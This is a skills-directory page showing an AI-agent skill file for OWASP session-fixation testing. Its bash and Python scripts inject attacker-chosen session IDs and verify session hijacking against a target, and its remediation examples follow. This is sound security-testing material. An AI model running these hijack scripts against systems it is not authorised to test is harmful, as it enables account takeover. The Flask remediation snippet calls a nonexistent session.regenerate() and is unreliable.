Back to skills
SKILL.md
Wstg Sess 03
ASecurityTesting for Session Fixation
- 3,518 stars
- 0 votes
- 0 copies
- 8 views
- Added September 3, 2026
Security analysis
100/100npx -y skills add CyberStrikeus/CyberStrike --skill wstg-sess-03 --agent claude-codeAre you the author of Wstg Sess 03?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/cyberstrikeus-wstg-sess-03)---
name: wstg-sess-03
description: "Testing for Session Fixation"
category: session-management
owasp_id: WSTG-SESS-03
version: "1.0.0"
author: cyberstrike-official
tags: [session, cookies, csrf, token, wstg, sess]
tech_stack: []
cwe_ids: [CWE-613]
chains_with: []
prerequisites: []
severity_boost: {}
---
# wstg-sess-03
## Test ID
WSTG-SESS-03
## Test Name
Testing for Session Fixation
## High-Level Description
Session fixation is an attack where the attacker sets a user's session ID to a known value. When the victim authenticates, the attacker can hijack their session using the pre-set session ID. This occurs when the application doesn't regenerate the session ID after authentication, allowing the attacker to maintain access with the original session token.
---
## What to Check
- [ ] Session ID regeneration on login
- [ ] Session ID regeneration on privilege change
- [ ] Session ID acceptance from URL
- [ ] Session ID acceptance from POST data
- [ ] Cross-subdomain session fixation
- [ ] Session adoption after authentication
---
## How to Test
### Step 1: Pre-Authentication Session Test
```bash
#!/bin/bash
# Test if session ID changes after authentication
TARGET="https://target.com"
# Get pre-auth session
echo "=== Getting pre-auth session ==="
pre_session=$(curl -s -c - "$TARGET/" | grep -oP "SESSIONID=\K[^;]+")
echo "Pre-auth session: $pre_session"
# Authenticate with the same session
echo -e "\n=== Authenticating ==="
post_response=$(curl -s -c - -b "SESSIONID=$pre_session" \
-X POST "$TARGET/login" \
-d "username=testuser&password=testpass")
post_session=$(echo "$post_response" | grep -oP "SESSIONID=\K[^;]+")
echo "Post-auth session: $post_session"
# Compare
if [ -z "$post_session" ]; then
# Session might be in cookie jar, check again
post_session=$(curl -s -c - -b "SESSIONID=$pre_session" "$TARGET/dashboard" | \
grep -oP "SESSIONID=\K[^;]+")
fi
if [ "$pre_session" == "$post_session" ]; then
echo -e "\n[VULN] Session fixation - ID not regenerated after login!"
else
echo -e "\n[OK] Session ID regenerated after login"
fi
```
### Step 2: Test Session ID in URL
```bash
#!/bin/bash
# Test if application accepts session ID from URL
TARGET="https://target.com"
ATTACKER_SESSION="attacker_controlled_session_id"
# Try to set session via URL
urls=(
"$TARGET/?SESSIONID=$ATTACKER_SESSION"
"$TARGET/?jsessionid=$ATTACKER_SESSION"
"$TARGET/;jsessionid=$ATTACKER_SESSION"
"$TARGET/login?session_id=$ATTACKER_SESSION"
)
for url in "${urls[@]}"; do
response=$(curl -s -c - "$url")
cookies=$(echo "$response" | grep -i "sessionid\|jsessionid")
if echo "$cookies" | grep -q "$ATTACKER_SESSION"; then
echo "[VULN] Session accepted from URL: $url"
fi
done
```
### Step 3: Test Cross-Subdomain Fixation
```bash
#!/bin/bash
# Test cross-subdomain session fixation
MAIN_DOMAIN="target.com"
SUBDOMAIN="sub.target.com"
# Get session from subdomain
sub_session=$(curl -s -c - "https://$SUBDOMAIN/" | grep -oP "SESSIONID=\K[^;]+")
echo "Subdomain session: $sub_session"
# Check if session works on main domain
response=$(curl -s -b "SESSIONID=$sub_session" "https://$MAIN_DOMAIN/dashboard")
if echo "$response" | grep -qi "authenticated\|dashboard"; then
echo "[VULN] Cross-subdomain session sharing detected"
fi
```
### Step 4: Session Fixation Attack Simulation
```python
#!/usr/bin/env python3
import requests
import time
class SessionFixationTester:
def __init__(self, base_url):
self.base_url = base_url
self.attacker_session = None
self.findings = []
def test_basic_fixation(self, login_endpoint, credentials):
"""Test basic session fixation vulnerability"""
print("[*] Testing basic session fixation...")
# Step 1: Attacker gets a session
attacker = requests.Session()
attacker.get(self.base_url)
# Get attacker's session ID
for cookie in attacker.cookies:
if 'session' in cookie.name.lower():
self.attacker_session = cookie.value
print(f"[*] Attacker session: {self.attacker_session[:20]}...")
break
if not self.attacker_session:
print("[!] No session cookie found")
return
# Step 2: Simulate victim using attacker's session
victim = requests.Session()
victim.cookies.set('SESSIONID', self.attacker_session)
# Step 3: Victim authenticates
login_response = victim.post(
f"{self.base_url}{login_endpoint}",
data=credentials
)
# Step 4: Get victim's post-auth session
victim_post_session = None
for cookie in victim.cookies:
if 'session' in cookie.name.lower():
victim_post_session = cookie.value
break
# Step 5: Check if session changed
if victim_post_session == self.attacker_session:
print("[VULN] Session fixation vulnerability!")
print(" Session ID not regenerated after login")
self.findings.append({
"type": "session_fixation",
"severity": "High",
"description": "Session ID unchanged after authentication"
})
# Step 6: Verify attacker can access victim's session
self._verify_session_hijack()
else:
print("[OK] Session regenerated after login")
print(f" New session: {victim_post_session[:20]}...")
return self.findings
def _verify_session_hijack(self):
"""Verify attacker can hijack the fixed session"""
print("[*] Verifying session hijacking...")
attacker_test = requests.Session()
attacker_test.cookies.set('SESSIONID', self.attacker_session)
response = attacker_test.get(f"{self.base_url}/dashboard")
if response.status_code == 200 and 'login' not in response.url.lower():
print("[VULN] Attacker can access authenticated session!")
self.findings.append({
"type": "session_hijack_verified",
"severity": "Critical",
"description": "Attacker successfully hijacked authenticated session"
})
else:
print("[INFO] Session hijack not verified")
def test_url_session(self):
"""Test session ID in URL"""
print("\n[*] Testing session ID in URL...")
test_session = "attacker_session_12345"
url_patterns = [
f"{self.base_url}/?SESSIONID={test_session}",
f"{self.base_url}/?jsessionid={test_session}",
f"{self.base_url}/;jsessionid={test_session}",
f"{self.base_url}/?PHPSESSID={test_session}",
]
for url in url_patterns:
try:
session = requests.Session()
response = session.get(url)
for cookie in session.cookies:
if test_session in cookie.value:
print(f"[VULN] Session accepted from URL: {url}")
self.findings.append({
"type": "url_session",
"severity": "High",
"url": url
})
break
except Exception as e:
pass
return self.findings
def test_privilege_escalation_fixation(self, escalation_endpoint):
"""Test session regeneration on privilege change"""
print("\n[*] Testing session on privilege change...")
session = requests.Session()
session.get(self.base_url)
pre_session = None
for cookie in session.cookies:
if 'session' in cookie.name.lower():
pre_session = cookie.value
break
# Trigger privilege change
session.post(f"{self.base_url}{escalation_endpoint}")
post_session = None
for cookie in session.cookies:
if 'session' in cookie.name.lower():
post_session = cookie.value
break
if pre_session == post_session:
print("[VULN] Session not regenerated on privilege change")
self.findings.append({
"type": "privilege_fixation",
"severity": "Medium",
"description": "Session unchanged after privilege change"
})
return self.findings
# Usage
tester = SessionFixationTester("https://target.com")
tester.test_basic_fixation("/login", {"username": "test", "password": "test"})
tester.test_url_session()
```
---
## Tools
| Tool | Description | Usage |
| -------------------- | ----------------- | ------------------------------ |
| **Burp Suite** | Session analysis | Compare pre/post auth sessions |
| **OWASP ZAP** | Automated testing | Session fixation scanner |
| **Browser DevTools** | Cookie monitoring | Observe session changes |
---
## Remediation Guide
### 1. Session Regeneration on Login
```python
from flask import session
import secrets
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
if authenticate(username, password):
# CRITICAL: Regenerate session ID after authentication
session.clear()
session.regenerate() # Or create new session
# Set authenticated user
session['user_id'] = user.id
session['authenticated'] = True
return redirect('/dashboard')
return render_template('login.html', error='Invalid credentials')
# Flask-Login example
from flask_login import login_user
@app.route('/login', methods=['POST'])
def login():
if authenticate(username, password):
# flask-login regenerates session by default
login_user(user)
return redirect('/dashboard')
```
### 2. Express.js Session Regeneration
```javascript
app.post("/login", (req, res) => {
authenticate(req.body.username, req.body.password, (err, user) => {
if (user) {
// Regenerate session ID
req.session.regenerate((err) => {
if (err) {
return res.status(500).send("Session error")
}
req.session.userId = user.id
req.session.authenticated = true
res.redirect("/dashboard")
})
} else {
res.render("login", { error: "Invalid credentials" })
}
})
})
```
### 3. Java/Spring Session Regeneration
```java
@PostMapping("/login")
public String login(HttpServletRequest request, @RequestParam String username,
@RequestParam String password) {
if (authenticate(username, password)) {
// Invalidate old session
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
oldSession.invalidate();
}
// Create new session
HttpSession newSession = request.getSession(true);
newSession.setAttribute("userId", user.getId());
newSession.setAttribute("authenticated", true);
return "redirect:/dashboard";
}
return "login";
}
```
---
## Risk Assessment
### CVSS Score
| Finding | CVSS | Severity |
| ---------------------------------- | ---- | -------- |
| Session fixation (no regeneration) | 8.8 | High |
| Session ID accepted from URL | 7.5 | High |
| Cross-subdomain fixation | 6.5 | Medium |
---
## CWE Categories
| CWE ID | Title |
| ----------- | -------------------------------------- |
| **CWE-384** | Session Fixation |
| **CWE-472** | External Control of Web Service Cookie |
---
## References
- [OWASP Session Fixation](https://owasp.org/www-community/attacks/Session_fixation)
- [OWASP WSTG - Session Fixation](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation)
---
## Checklist
```
[ ] Pre-auth session ID captured
[ ] Post-auth session ID compared
[ ] Session regeneration on login verified
[ ] URL-based session tested
[ ] Cross-subdomain fixation tested
[ ] Privilege change regeneration tested
[ ] Findings documented
[ ] Remediation recommendations provided
```
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.